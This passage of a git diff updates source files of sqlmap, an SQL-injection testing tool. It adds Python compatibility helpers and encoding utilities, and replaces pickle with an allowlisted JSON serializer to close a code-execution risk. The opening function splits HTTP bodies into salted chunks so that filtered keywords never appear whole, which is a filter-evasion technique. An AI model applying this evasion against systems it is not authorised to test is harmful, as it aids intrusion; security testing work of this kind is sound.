u\\r\\n4;MvMhO\\r\\nsers\\r\\n0\\r\\n\\r\\n' + """ + + length = len(data) + retVal = [] + index = 0 + + while index < length: + chunkSize = randomInt(1) + + if index + chunkSize >= length: + chunkSize = length - index + + salt = randomStr(5, alphabet=string.ascii_letters + string.digits) + + while chunkSize: + candidate = data[index:index + chunkSize] + + if re.search(r"\b%s\b" % '|'.join(HTTP_CHUNKED_SPLIT_KEYWORDS), candidate, re.I): + chunkSize -= 1 + else: + break + + index += chunkSize + + # Append to list instead of recreating the string + retVal.append("%x;%s\r\n" % (chunkSize, salt)) + retVal.append("%s\r\n" % candidate) + + retVal.append("0\r\n\r\n") + + return "".join(retVal) + +def isGitRepository(): + """ + Whether the running source tree is a git working copy (i.e. a clone / dev checkout, as opposed to a + pip/tarball install) + """ + + return os.path.isdir(os.path.join(paths.SQLMAP_ROOT_PATH, ".git")) + +def codeIsModified(): + """ + Best-effort check whether a git working copy has local modifications, used to avoid auto-reporting + crashes that stem from a user's OWN changes. Only meaningful for git checkouts (dev/clone); a + pip/tarball install is taken as shipped (returns False). A transient git error also yields False, + so a missing git binary never silences a legitimate report. + + >>> codeIsModified() in (True, False) + True + """ + + retVal = False + + if isGitRepository(): + try: + process = subprocess.Popen("git diff-index --quiet HEAD --", shell=True, cwd=paths.SQLMAP_ROOT_PATH, stdout=subprocess.PIPE, stderr=subprocess.PIPE) + process.communicate() + if process.returncode == 1: # 0 == clean, 1 == modified (anything else == git error) + retVal = True + except Exception: + pass + + return retVal + +def safeCompareStrings(a, b): + """ + Constant-time string comparison to prevent timing attacks. + >>> safeCompareStrings("test", "test") + True + >>> safeCompareStrings("test", None) + False + >>> safeCompareStrings("test1", "test2") + False + """ + if a is None or b is None: + return a == b + + if hasattr(hmac, "compare_digest"): + return hmac.compare_digest(a, b) + + # Fallback for Python < 2.7.7 and < 3.3 + if len(a) != len(b): + return False - return getUnicode(retVal, encoding=encoding) + result = 0 + for x, y in zip(a, b): + result |= ord(x) ^ ord(y) + return result == 0 diff --git a/lib/core/compat.py b/lib/core/compat.py new file mode 100644 index 00000000000..08d8f02d75d --- /dev/null +++ b/lib/core/compat.py @@ -0,0 +1,419 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +from __future__ import division + +import codecs +import binascii +import functools +import io +import math +import os +import random +import re +import sys +import time +import uuid + +class WichmannHill(random.Random): + """ + Reference: https://svn.python.org/projects/python/trunk/Lib/random.py + """ + + VERSION = 1 # used by getstate/setstate + + def seed(self, a=None): + """Initialize internal state from hashable object. + + None or no argument seeds from current time or from an operating + system specific randomness source if available. + + If a is not None or an int or long, hash(a) is used instead. + + If a is an int or long, a is used directly. Distinct values between + 0 and 27814431486575L inclusive are guaranteed to yield distinct + internal states (this guarantee is specific to the default + Wichmann-Hill generator). + """ + + if a is None: + try: + a = int(binascii.hexlify(os.urandom(16)), 16) + except NotImplementedError: + a = int(time.time() * 256) # use fractional seconds + + if not isinstance(a, int): + a = hash(a) + + a, x = divmod(a, 30268) + a, y = divmod(a, 30306) + a, z = divmod(a, 30322) + self._seed = int(x) + 1, int(y) + 1, int(z) + 1 + + self.gauss_next = None + + def random(self): + """Get the next random number in the range [0.0, 1.0).""" + + # Wichman-Hill random number generator. + # + # Wichmann, B. A. & Hill, I. D. (1982) + # Algorithm AS 183: + # An efficient and portable pseudo-random number generator + # Applied Statistics 31 (1982) 188-190 + # + # see also: + # Correction to Algorithm AS 183 + # Applied Statistics 33 (1984) 123 + # + # McLeod, A. I. (1985) + # A remark on Algorithm AS 183 + # Applied Statistics 34 (1985),198-200 + + # This part is thread-unsafe: + # BEGIN CRITICAL SECTION + x, y, z = self._seed + x = (171 * x) % 30269 + y = (172 * y) % 30307 + z = (170 * z) % 30323 + self._seed = x, y, z + # END CRITICAL SECTION + + # Note: on a platform using IEEE-754 double arithmetic, this can + # never return 0.0 (asserted by Tim; proof too long for a comment). + return (x / 30269.0 + y / 30307.0 + z / 30323.0) % 1.0 + + def getstate(self): + """Return internal state; can be passed to setstate() later.""" + return self.VERSION, self._seed, self.gauss_next + + def setstate(self, state): + """Restore internal state from object returned by getstate().""" + version = state[0] + if version == 1: + version, self._seed, self.gauss_next = state + else: + raise ValueError("state with version %s passed to " + "Random.setstate() of version %s" % + (version, self.VERSION)) + + def jumpahead(self, n): + """Act as if n calls to random() were made, but quickly. + + n is an int, greater than or equal to 0. + + Example use: If you have 2 threads and know that each will + consume no more than a million random numbers, create two Random + objects r1 and r2, then do + r2.setstate(r1.getstate()) + r2.jumpahead(1000000) + Then r1 and r2 will use guaranteed-disjoint segments of the full + period. + """ + + if n < 0: + raise ValueError("n must be >= 0") + x, y, z = self._seed + x = int(x * pow(171, n, 30269)) % 30269 + y = int(y * pow(172, n, 30307)) % 30307 + z = int(z * pow(170, n, 30323)) % 30323 + self._seed = x, y, z + + def __whseed(self, x=0, y=0, z=0): + """Set the Wichmann-Hill seed from (x, y, z). + + These must be integers in the range [0, 256). + """ + + if not type(x) == type(y) == type(z) == int: + raise TypeError('seeds must be integers') + if not (0 <= x < 256 and 0 <= y < 256 and 0 <= z < 256): + raise ValueError('seeds must be in range(0, 256)') + if 0 == x == y == z: + # Initialize from current time + t = int(time.time() * 256) + t = int((t & 0xffffff) ^ (t >> 24)) + t, x = divmod(t, 256) + t, y = divmod(t, 256) + t, z = divmod(t, 256) + # Zero is a poor seed, so substitute 1 + self._seed = (x or 1, y or 1, z or 1) + + self.gauss_next = None + + def whseed(self, a=None): + """Seed from hashable object's hash code. + + None or no argument seeds from current time. It is not guaranteed + that objects with distinct hash codes lead to distinct internal + states. + + This is obsolete, provided for compatibility with the seed routine + used prior to Python 2.1. Use the .seed() method instead. + """ + + if a is None: + self.__whseed() + return + a = hash(a) + a, x = divmod(a, 256) + a, y = divmod(a, 256) + a, z = divmod(a, 256) + x = (x + a) % 256 or 1 + y = (y + a) % 256 or 1 + z = (z + a) % 256 or 1 + self.__whseed(x, y, z) + +def patchHeaders(headers): + if headers is not None and not hasattr(headers, "headers"): + if isinstance(headers, dict): + class _(dict): + def __getitem__(self, key): + for key_ in self: + if key_.lower() == key.lower(): + return super(_, self).__getitem__(key_) + + raise KeyError(key) + + def get(self, key, default=None): + try: + return self[key] + except KeyError: + return default + + headers = _(headers) + + headers.headers = ["%s: %s\r\n" % (header, headers[header]) for header in headers] + + return headers + +def cmp(a, b): + """ + >>> cmp("a", "b") + -1 + >>> cmp(2, 1) + 1 + """ + + if a < b: + return -1 + elif a > b: + return 1 + else: + return 0 + +# Reference: https://github.com/urllib3/urllib3/blob/master/src/urllib3/filepost.py +def choose_boundary(): + """ + >>> len(choose_boundary()) == 32 + True + """ + + retval = "" + + try: + retval = uuid.uuid4().hex + except AttributeError: + retval = "".join(random.sample("0123456789abcdef", 1)[0] for _ in xrange(32)) + + return retval + +# Reference: http://python3porting.com/differences.html +def round(x, d=0): + """ + >>> round(2.0) + 2.0 + >>> round(2.5) + 3.0 + """ + + p = 10 ** d + if x > 0: + return float(math.floor((x * p) + 0.5)) / p + else: + return float(math.ceil((x * p) - 0.5)) / p + +# Reference: https://code.activestate.com/recipes/576653-convert-a-cmp-function-to-a-key-function/ +def cmp_to_key(mycmp): + """Convert a cmp= function into a key= function""" + class K(object): + __slots__ = ['obj'] + + def __init__(self, obj, *args): + self.obj = obj + + def __lt__(self, other): + return mycmp(self.obj, other.obj) < 0 + + def __gt__(self, other): + return mycmp(self.obj, other.obj) > 0 + + def __eq__(self, other): + return mycmp(self.obj, other.obj) == 0 + + def __le__(self, other): + return mycmp(self.obj, other.obj) <= 0 + + def __ge__(self, other): + return mycmp(self.obj, other.obj) >= 0 + + def __ne__(self, other): + return mycmp(self.obj, other.obj) != 0 + + def __hash__(self): + raise TypeError('hash not implemented') + + return K + +# Note: patch for Python 2.6 +if not hasattr(functools, "cmp_to_key"): + functools.cmp_to_key = cmp_to_key + +if sys.version_info >= (3, 0): + xrange = range + buffer = memoryview +else: + xrange = xrange + buffer = buffer + +try: + RecursionError = RecursionError +except NameError: + # Note: patch for Python < 3.5 (RecursionError, a subclass of RuntimeError, was introduced in Python 3.5) + RecursionError = RuntimeError + +def LooseVersion(version): + """ + >>> LooseVersion("1.0") == LooseVersion("1.0") + True + >>> LooseVersion("1.0.1") > LooseVersion("1.0") + True + >>> LooseVersion("1.0.11") < LooseVersion("1.0.111") + True + >>> LooseVersion("8.0.22") > LooseVersion("8.0.2") + True + >>> LooseVersion("1.0alpha-beta-gama") + (1, 0) + """ + match = re.search(r"\A(\d[\d.]*)", version or "") + if match: + return tuple(int(part) for part in match.group(1).strip('.').split('.') if part.isdigit()) + else: + return () + +# NOTE: codecs.open re-implementation (deprecated in Python 3.14) + +try: + # Py2 + _text_type = unicode + _bytes_types = (str, bytearray) +except NameError: + # Py3 + _text_type = str + _bytes_types = (bytes, bytearray, memoryview) + +_WRITE_CHARS = ("w", "a", "x", "+") + +def _is_write_mode(mode): + return any(ch in mode for ch in _WRITE_CHARS) + +class MixedWriteTextIO(object): + """ + Text-ish stream wrapper that accepts both text and bytes in write(). + Bytes are decoded using the file's (encoding, errors) before writing. + + Optionally approximates line-buffering by flushing when a newline is written. + """ + def __init__(self, fh, encoding, errors, line_buffered=False): + self._fh = fh + self._encoding = encoding + self._errors = errors + self._line_buffered = line_buffered + + def write(self, data): + # bytes-like but not text -> decode + if isinstance(data, _bytes_types) and not isinstance(data, _text_type): + data = bytes(data).decode(self._encoding, self._errors) + elif not isinstance(data, _text_type): + data = _text_type(data) + + n = self._fh.write(data) + + # Approximate "line buffering" behavior if requested + if self._line_buffered and u"\n" in data: + try: + self._fh.flush() + except Exception: + pass + + return n + + def writelines(self, lines): + for x in lines: + self.write(x) + + def __iter__(self): + return iter(self._fh) + + def __next__(self): + return next(self._fh) + + def next(self): # Py2 + return self.__next__() + + def __getattr__(self, name): + return getattr(self._fh, name) + + def __enter__(self): + self._fh.__enter__() + return self + + def __exit__(self, exc_type, exc, tb): + return self._fh.__exit__(exc_type, exc, tb) + + +def _codecs_open(filename, mode="r", encoding=None, errors="strict", buffering=-1): + """ + Replacement for deprecated codecs.open() entry point with sqlmap-friendly behavior. + + - If encoding is None: return io.open(...) as-is. + - If encoding is set: force underlying binary mode and wrap via StreamReaderWriter + (like codecs.open()). + - For write-ish modes: return a wrapper that also accepts bytes on .write(). + - Handles buffering=1 in binary mode by downgrading underlying buffering to -1, + while optionally preserving "flush on newline" behavior in the wrapper. + """ + if encoding is None: + return io.open(filename, mode, buffering=buffering) + + bmode = mode + if "b" not in bmode: + bmode += "b" + + # Avoid line-buffering warnings/errors on binary streams + line_buffered = (buffering == 1) + if line_buffered: + buffering = -1 + + f = io.open(filename, bmode, buffering=buffering) + + try: + info = codecs.lookup(encoding) + srw = codecs.StreamReaderWriter(f, info.streamreader, info.streamwriter, errors) + srw.encoding = encoding + + if _is_write_mode(mode): + return MixedWriteTextIO(srw, encoding, errors, line_buffered=line_buffered) + + return srw + except Exception: + try: + f.close() + finally: + raise + +codecs_open = _codecs_open if sys.version_info >= (3, 14) else codecs.open diff --git a/lib/core/convert.py b/lib/core/convert.py index 8f7123a00df..bb57e4c182e 100644 --- a/lib/core/convert.py +++ b/lib/core/convert.py @@ -1,199 +1,690 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2015 sqlmap developers (http://sqlmap.org/) -See the file 'doc/COPYING' for copying permission +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission """ import base64 +import binascii +import codecs +import datetime +import decimal import json -import pickle +import re import sys - +import time + +from lib.core.bigarray import BigArray +from lib.core.compat import xrange +from lib.core.data import conf +from lib.core.data import kb +from lib.core.settings import INVALID_UNICODE_PRIVATE_AREA +from lib.core.settings import IS_TTY from lib.core.settings import IS_WIN +from lib.core.settings import NULL +from lib.core.settings import SAFE_HEX_MARKER from lib.core.settings import UNICODE_ENCODING - -def base64decode(value): +from thirdparty import six +from thirdparty.six import unichr as _unichr +from thirdparty.six.moves import html_parser +from thirdparty.six.moves import collections_abc as _collections + +try: + from html import escape as _escape +except ImportError: + from cgi import escape as _escape + +htmlEscape = _escape + +# Safe (no arbitrary code execution) serialization used for the session store (HashDB) +# and BigArray disk chunks. The former serializer could execute code while loading, so +# deserializing sqlmap's own (locally writable) session/cache files was a recurring +# report magnet. This codec serializes to plain JSON with explicit type tags, so nothing +# is ever executed on load. +# +# JSON natively covers only str/int/float/bool/None/list, and silently loses the rest +# (int/tuple dict keys become strings, set/tuple/bytes are rejected). The tagged wrappers +# below preserve every type sqlmap actually stores: bytes, tuple, set/frozenset, dict with +# arbitrary (non-string) keys, DB-driver scalars (Decimal/datetime/...), and the handful of +# sqlmap's own classes below. Reconstruction of classes is limited to that explicit +# allowlist (no module/namespace wildcard), so no dangerous callable is ever reachable. + +# reserved wrapper key; data mappings are encoded as tagged pair-lists (never as bare JSON +# objects), so any decoded JSON object is one of our wrappers and this key can never collide +_SERIALIZE_TAG = "$T" + +# fully-qualified names of the ONLY classes that may be reconstructed on deserialization +_SERIALIZE_CLASSES = frozenset(( + "lib.core.datatype.AttribDict", + "lib.core.datatype.InjectionDict", + "lib.utils.har.RawPair", +)) + +def _serializeEncode(value): """ - Decodes string value from Base64 to plain format - - >>> base64decode('Zm9vYmFy') - 'foobar' + Turns a Python value into a JSON-serializable (tagged) structure """ - return base64.b64decode(value) + if value is None or isinstance(value, bool) or isinstance(value, float) or isinstance(value, six.integer_types): + return value + + if isinstance(value, six.text_type): + return value + + # Note: on Python 2 'str' is binary; base64-tagging it (rather than emitting a native JSON + # string that would round-trip as 'unicode') keeps the exact byte type across versions + if isinstance(value, (six.binary_type, bytearray)): + raw = bytes(value) if isinstance(value, bytearray) else value + retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(raw, binary=False), "a": 1 if isinstance(value, bytearray) else 0} + if six.PY3: # mark genuine Python 3 bytes so restore keeps them bytes; a + retVal["pv"] = 3 # Python 2 'str' (text) is unmarked and recovered as text (see decode) + return retVal + + if isinstance(value, memoryview): + retVal = {_SERIALIZE_TAG: "b", "v": encodeBase64(value.tobytes(), binary=False), "a": 0} + if six.PY3: + retVal["pv"] = 3 + return retVal + + try: + if isinstance(value, buffer): # noqa: F821 # Python 2 only + return {_SERIALIZE_TAG: "b", "v": encodeBase64(bytes(value), binary=False), "a": 0} + except NameError: + pass + + # Note: BigArray is a 'list' subclass, so it must be matched before the plain-list branch + # (otherwise it would round-trip as a plain list, losing its type) + if isinstance(value, BigArray): + return {_SERIALIZE_TAG: "ba", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, list): + return [_serializeEncode(_) for _ in value] + + if isinstance(value, tuple): + return {_SERIALIZE_TAG: "t", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, frozenset): + return {_SERIALIZE_TAG: "f", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, (set, _collections.Set)): + return {_SERIALIZE_TAG: "s", "v": [_serializeEncode(_) for _ in value]} + + if isinstance(value, dict): + name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "d": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()], "s": _serializeEncode(dict(value.__dict__))} + elif value.__class__ is dict or (name or "").split(".")[0] not in ("lib", "plugins", "thirdparty"): + # a plain dict, or a foreign mapping subclass (e.g. collections.OrderedDict/defaultdict): store the + # items as a plain mapping so the data round-trips, instead of silently degrading to its text repr. + # A non-allowlisted lib/plugins/thirdparty subclass still falls through to _serializeUnknown (fail loudly) + return {_SERIALIZE_TAG: "m", "v": [[_serializeEncode(k), _serializeEncode(v)] for (k, v) in value.items()]} + else: + return _serializeUnknown(value, name) + + if isinstance(value, decimal.Decimal): + return {_SERIALIZE_TAG: "dec", "v": getUnicode(value)} + + if isinstance(value, datetime.datetime): + return {_SERIALIZE_TAG: "dt", "v": [value.year, value.month, value.day, value.hour, value.minute, value.second, value.microsecond]} + + if isinstance(value, datetime.date): + return {_SERIALIZE_TAG: "date", "v": [value.year, value.month, value.day]} + + if isinstance(value, datetime.time): + return {_SERIALIZE_TAG: "time", "v": [value.hour, value.minute, value.second, value.microsecond]} -def base64encode(value): + if isinstance(value, datetime.timedelta): + return {_SERIALIZE_TAG: "td", "v": [value.days, value.seconds, value.microseconds]} + + name = "%s.%s" % (value.__class__.__module__, value.__class__.__name__) + if name in _SERIALIZE_CLASSES: + return {_SERIALIZE_TAG: "o", "c": name, "s": _serializeEncode(dict(value.__dict__))} + + return _serializeUnknown(value, name) + +def _serializeUnknown(value, name): + """ + Fallback for a type not explicitly handled by the serializer """ - Encodes string value from plain to Base64 format - >>> base64encode('foobar') - 'Zm9vYmFy' + # sqlmap's own (or bundled) classes MUST be added to the allowlist explicitly - fail loudly + # (caught by the regression tests) rather than silently store something that cannot be restored + if (name or "").split(".")[0] in ("lib", "plugins", "thirdparty"): + raise TypeError("serialization of type '%s' is not supported" % name) + + # a foreign/exotic scalar (e.g. an unusual DB-driver value): degrade to its textual form rather + # than crash a user's session - session values are only ever rendered (getUnicode) downstream + singleTimeWarnMessage("serializing value of unsupported type '%s' as text" % name) + return getUnicode(value) + +def _serializeDecode(struct): + """ + Restores a Python value from a JSON-deserialized (tagged) structure """ - return base64.b64encode(value) + if struct is None or isinstance(struct, bool) or isinstance(struct, float) or isinstance(struct, six.integer_types): + return struct + + if isinstance(struct, six.text_type): + return struct + + if isinstance(struct, six.binary_type): # defensive - json.loads() yields text, not bytes + return getUnicode(struct) + + if isinstance(struct, list): + return [_serializeDecode(_) for _ in struct] + + if isinstance(struct, dict): + tag = struct.get(_SERIALIZE_TAG) + + if tag == "b": + raw = decodeBase64(struct["v"], binary=True) + if struct.get("a"): + return bytearray(raw) + # Genuine Python 3 bytes (pv==3) are kept as-is. A value WITHOUT the marker was + # written by Python 2, whose text-'str' goes through this bytes branch; on Python 3 + # that would surface as 'bytes' and break str consumers - most visibly kb.chars, + # whose str-key lookups then return None and crash cleanupPayload(). Recover such + # cross-version TEXT by decoding valid UTF-8 to 'str'; real binary stays bytes. + if struct.get("pv") == 3 or not six.PY3: + return raw + try: + return raw.decode("utf-8") + except UnicodeDecodeError: + return raw + elif tag == "t": + return tuple(_serializeDecode(_) for _ in struct["v"]) + elif tag == "f": + return frozenset(_serializeDecode(_) for _ in struct["v"]) + elif tag == "ba": + return BigArray([_serializeDecode(_) for _ in struct["v"]]) + elif tag == "s": + return set(_serializeDecode(_) for _ in struct["v"]) + elif tag == "m": + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct["v"]) + elif tag == "dec": + return decimal.Decimal(struct["v"]) + elif tag == "dt": + return datetime.datetime(*struct["v"]) + elif tag == "date": + return datetime.date(*struct["v"]) + elif tag == "time": + return datetime.time(*struct["v"]) + elif tag == "td": + return datetime.timedelta(struct["v"][0], struct["v"][1], struct["v"][2]) + elif tag == "o": + return _serializeDecodeObject(struct) + elif tag is None: # defensive - a bare mapping should never occur + return dict((_serializeDecode(k), _serializeDecode(v)) for (k, v) in struct.items()) + else: + raise ValueError("unsupported serialized tag '%s'" % tag) + + raise ValueError("unsupported serialized structure of type '%s'" % type(struct)) -def base64pickle(value): +def _serializeResolveClass(name): """ - Serializes (with pickle) and encodes to Base64 format supplied (binary) value + Resolves an allowlisted class name to its class (nothing else may be reconstructed) + """ + + if name not in _SERIALIZE_CLASSES: + raise ValueError("deserialization of class '%s' is forbidden" % name) - >>> base64pickle('foobar') - 'gAJVBmZvb2JhcnEALg==' + if name == "lib.utils.har.RawPair": + from lib.utils.har import RawPair + return RawPair + else: + from lib.core.datatype import AttribDict, InjectionDict + return InjectionDict if name.endswith("InjectionDict") else AttribDict + +def _serializeDecodeObject(struct): + """ + Reconstructs an allowlisted class instance from its serialized form """ - retVal = None + _class = _serializeResolveClass(struct.get("c")) + retVal = _class.__new__(_class) - try: - retVal = base64encode(pickle.dumps(value, pickle.HIGHEST_PROTOCOL)) - except: - warnMsg = "problem occurred while serializing " - warnMsg += "instance of a type '%s'" % type(value) - singleTimeWarnMessage(warnMsg) + if isinstance(retVal, dict): + for pair in (struct.get("d") or []): + dict.__setitem__(retVal, _serializeDecode(pair[0]), _serializeDecode(pair[1])) - try: - retVal = base64encode(pickle.dumps(value)) - except: - retVal = base64encode(pickle.dumps(str(value), pickle.HIGHEST_PROTOCOL)) + state = _serializeDecode(struct.get("s") or {}) + if isinstance(state, dict): + retVal.__dict__.update(state) return retVal -def base64unpickle(value): +def serializeValue(value): + """ + Safely serializes a Python value to its canonical serialized form (JSON text), without any + code-execution risk + + Note: the output is pure ASCII text, so it is stored verbatim in the (TEXT) session store - no + Base64 (or any base-N) wrapping is needed (that was only required by the former binary + serialization), which also keeps the stored form as small as possible. Callers that need raw + bytes (e.g. a compressed BigArray disk chunk) simply encode the returned text. + + >>> deserializeValue(serializeValue({1: 'a', 'b': (2, 3), 'c': {4, 5}})) == {1: 'a', 'b': (2, 3), 'c': {4, 5}} + True + >>> deserializeValue(serializeValue([1, 2, (3, {4: b'5'})])) == [1, 2, (3, {4: b'5'})] + True """ - Decodes value from Base64 to plain format and deserializes (with pickle) its content - >>> base64unpickle('gAJVBmZvb2JhcnEALg==') - 'foobar' + return json.dumps(_serializeEncode(value), ensure_ascii=True, separators=(',', ':')) + +def deserializeValue(value): + """ + Restores a Python value from its serialized form (accepts the serialized data as either text or + bytes) """ - retVal = None + return _serializeDecode(json.loads(getText(value))) - try: - retVal = pickle.loads(base64decode(value)) - except TypeError: - retVal = pickle.loads(base64decode(bytes(value))) +def htmlUnescape(value): + """ + Returns HTML unescaped value + + >>> htmlUnescape('a<b') == 'a>> htmlUnescape('a<b') == 'a>> htmlUnescape('foobar') == 'foobar' + True + >>> htmlUnescape('foobar') == 'foobar' + True + >>> htmlUnescape('©€') == htmlUnescape('©€') + True + """ - return retVal + if value and isinstance(value, six.string_types): + if six.PY3: + import html + return html.unescape(value) + else: + return html_parser.HTMLParser().unescape(value) + return value + +def singleTimeWarnMessage(message): # Cross-referenced function + sys.stdout.write(message) + sys.stdout.write("\n") + sys.stdout.flush() + +def filterNone(values): # Cross-referenced function + return [_ for _ in values if _] if isinstance(values, _collections.Iterable) else values + +def isListLike(value): # Cross-referenced function + return isinstance(value, (list, tuple, set, BigArray)) -def hexdecode(value): +def shellExec(cmd): # Cross-referenced function + raise NotImplementedError + +def jsonize(data): """ - Decodes string value from hex to plain format + Returns JSON serialized data - >>> hexdecode('666f6f626172') - 'foobar' + >>> jsonize({'foo':'bar'}) + '{\\n "foo": "bar"\\n}' """ - value = value.lower() - return (value[2:] if value.startswith("0x") else value).decode("hex") + return json.dumps(data, sort_keys=False, indent=4) -def hexencode(value): +def dejsonize(data): """ - Encodes string value from plain to hex format + Returns JSON deserialized data - >>> hexencode('foobar') - '666f6f626172' + >>> dejsonize('{\\n "foo": "bar"\\n}') == {u'foo': u'bar'} + True """ - return utf8encode(value).encode("hex") + return json.loads(data) -def unicodeencode(value, encoding=None): +def decodeHex(value, binary=True): """ - Returns 8-bit string representation of the supplied unicode value + Returns a decoded representation of the provided hexadecimal value - >>> unicodeencode(u'foobar') - 'foobar' + >>> decodeHex("313233") == b"123" + True + >>> decodeHex("313233", binary=False) == u"123" + True """ retVal = value - if isinstance(value, unicode): - try: - retVal = value.encode(encoding or UNICODE_ENCODING) - except UnicodeEncodeError: - retVal = value.encode(UNICODE_ENCODING, "replace") + + if isinstance(value, six.binary_type): + value = getText(value) + + if value.lower().startswith("0x"): + value = value[2:] + + try: + retVal = codecs.decode(value, "hex") + except LookupError: + retVal = binascii.unhexlify(value) + + if not binary: + retVal = getText(retVal) + return retVal -def utf8encode(value): +def encodeHex(value, binary=True): """ - Returns 8-bit string representation of the supplied UTF-8 value - - >>> utf8encode(u'foobar') - 'foobar' + Returns an encoded representation of the provided value + + >>> encodeHex(b"123") == b"313233" + True + >>> encodeHex("123", binary=False) + '313233' + >>> encodeHex(b"123"[0]) == b"31" + True + >>> encodeHex(123, binary=False) + '7b' """ - return unicodeencode(value, "utf-8") + if isinstance(value, int): + value = six.int2byte(value) + + if isinstance(value, six.text_type): + value = value.encode(UNICODE_ENCODING) + + try: + retVal = codecs.encode(value, "hex") + except LookupError: + retVal = binascii.hexlify(value) -def utf8decode(value): + if not binary: + retVal = getText(retVal) + + return retVal + +def decodeBase64(value, binary=True, encoding=None): + """ + Returns a decoded representation of provided Base64 value + + >>> decodeBase64("MTIz") == b"123" + True + >>> decodeBase64("MTIz", binary=False) + '123' + >>> decodeBase64("A-B_CDE") == decodeBase64("A+B/CDE") + True + >>> decodeBase64(b"MTIzNA") == b"1234" + True + >>> decodeBase64("MTIzNA") == b"1234" + True + >>> decodeBase64("MTIzNA==") == b"1234" + True """ - Returns UTF-8 representation of the supplied 8-bit string representation - >>> utf8decode('foobar') - u'foobar' + if value is None: + return None + + padding = b'=' if isinstance(value, bytes) else '=' + + # Reference: https://stackoverflow.com/a/49459036 + if not value.endswith(padding): + value += 3 * padding + + # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications + # Reference: https://perldoc.perl.org/MIME/Base64.html + if isinstance(value, bytes): + value = value.replace(b'-', b'+').replace(b'_', b'/') + else: + value = value.replace('-', '+').replace('_', '/') + + retVal = base64.b64decode(value) + + if not binary: + retVal = getText(retVal, encoding) + + return retVal + +def encodeBase64(value, binary=True, encoding=None, padding=True, safe=False): + """ + Returns a Base64 encoded representation of the provided value + + >>> encodeBase64(b"123") == b"MTIz" + True + >>> encodeBase64(u"1234", binary=False) + 'MTIzNA==' + >>> encodeBase64(u"1234", binary=False, padding=False) + 'MTIzNA' + >>> encodeBase64(decodeBase64("A-B_CDE"), binary=False, safe=True) + 'A-B_CDE' """ - return value.decode("utf-8") + if value is None: + return None + + if isinstance(value, six.text_type): + value = value.encode(encoding or UNICODE_ENCODING) + + retVal = base64.b64encode(value) + + if not binary: + retVal = getText(retVal, encoding) + + if safe: + padding = False + + # Reference: https://en.wikipedia.org/wiki/Base64#URL_applications + # Reference: https://perldoc.perl.org/MIME/Base64.html + if isinstance(retVal, bytes): + retVal = retVal.replace(b'+', b'-').replace(b'/', b'_') + else: + retVal = retVal.replace('+', '-').replace('/', '_') + + if not padding: + retVal = retVal.rstrip(b'=' if isinstance(retVal, bytes) else '=') + + return retVal -def htmlunescape(value): +def getBytes(value, encoding=None, errors="strict", unsafe=True): """ - Returns (basic conversion) HTML unescaped value + Returns byte representation of provided Unicode value - >>> htmlunescape('a<b') - 'a>> getBytes(u"foo\\\\x01\\\\x83\\\\xffbar") == b"foo\\x01\\x83\\xffbar" + True + >>> getBytes(u"C:\\\\\\\\x64\\\\secrets.txt") == b"C:\\\\x64\\\\secrets.txt" + True """ retVal = value - if value and isinstance(value, basestring): - codes = (('<', '<'), ('>', '>'), ('"', '"'), (' ', ' '), ('&', '&')) - retVal = reduce(lambda x, y: x.replace(y[0], y[1]), codes, retVal) - return retVal - -def singleTimeWarnMessage(message): # Cross-linked function - sys.stdout.write(message) - sys.stdout.write("\n") - sys.stdout.flush() -def stdoutencode(data): - retVal = None + if encoding is None: + encoding = conf.get("encoding") or UNICODE_ENCODING try: - data = data or "" - - # Reference: http://bugs.python.org/issue1602 - if IS_WIN: - output = data.encode(sys.stdout.encoding, "replace") - - if '?' in output and '?' not in data: - warnMsg = "cannot properly display Unicode characters " - warnMsg += "inside Windows OS command prompt " - warnMsg += "(http://bugs.python.org/issue1602). All " - warnMsg += "unhandled occurances will result in " - warnMsg += "replacement with '?' character. Please, find " - warnMsg += "proper character representation inside " - warnMsg += "corresponding output files. " - singleTimeWarnMessage(warnMsg) - - retVal = output + codecs.lookup(encoding) + except (LookupError, TypeError): + encoding = UNICODE_ENCODING + + if isinstance(value, bytearray): + return bytes(value) + elif isinstance(value, memoryview): + return value.tobytes() + elif isinstance(value, six.text_type): + if INVALID_UNICODE_PRIVATE_AREA: + if unsafe: + for char in xrange(0xF0000, 0xF00FF + 1): + value = value.replace(_unichr(char), "%s%02x" % (SAFE_HEX_MARKER, char - 0xF0000)) + + retVal = value.encode(encoding, errors) + + if unsafe: + retVal = re.sub((r"%s([0-9a-f]{2})" % SAFE_HEX_MARKER).encode(), lambda _: decodeHex(_.group(1)), retVal) else: - retVal = data.encode(sys.stdout.encoding) - except: - retVal = data.encode(UNICODE_ENCODING) if isinstance(data, unicode) else data + try: + retVal = value.encode(encoding, errors) + except UnicodeError: + retVal = value.encode(UNICODE_ENCODING, errors="replace") + + if unsafe: + retVal = re.sub(b"(?>> jsonize({'foo':'bar'}) - '{\\n "foo": "bar"\\n}' + >>> getOrds(u'fo\\xf6bar') + [102, 111, 246, 98, 97, 114] + >>> getOrds(b"fo\\xc3\\xb6bar") + [102, 111, 195, 182, 98, 97, 114] """ - return json.dumps(data, sort_keys=False, indent=4) + return [_ if isinstance(_, int) else ord(_) for _ in value] -def dejsonize(data): +def getUnicode(value, encoding=None, noneToNull=False): """ - Returns JSON deserialized data + Returns the unicode representation of the supplied value + + >>> getUnicode('test') == u'test' + True + >>> getUnicode(1) == u'1' + True + >>> getUnicode(None) == 'None' + True + >>> getUnicode(b'/etc/passwd') == '/etc/passwd' + True + """ + + # Best position for --time-limit mechanism + if conf.get("timeLimit") and kb.get("startTime") and (time.time() - kb.startTime > conf.timeLimit): + raise SystemExit + + if noneToNull and value is None: + return NULL + + if isinstance(value, six.text_type): + return value + elif isinstance(value, six.binary_type): + # Heuristics (if encoding not explicitly specified) + candidates = filterNone((encoding, kb.get("pageEncoding") if kb.get("originalPage") else None, conf.get("encoding"), UNICODE_ENCODING, 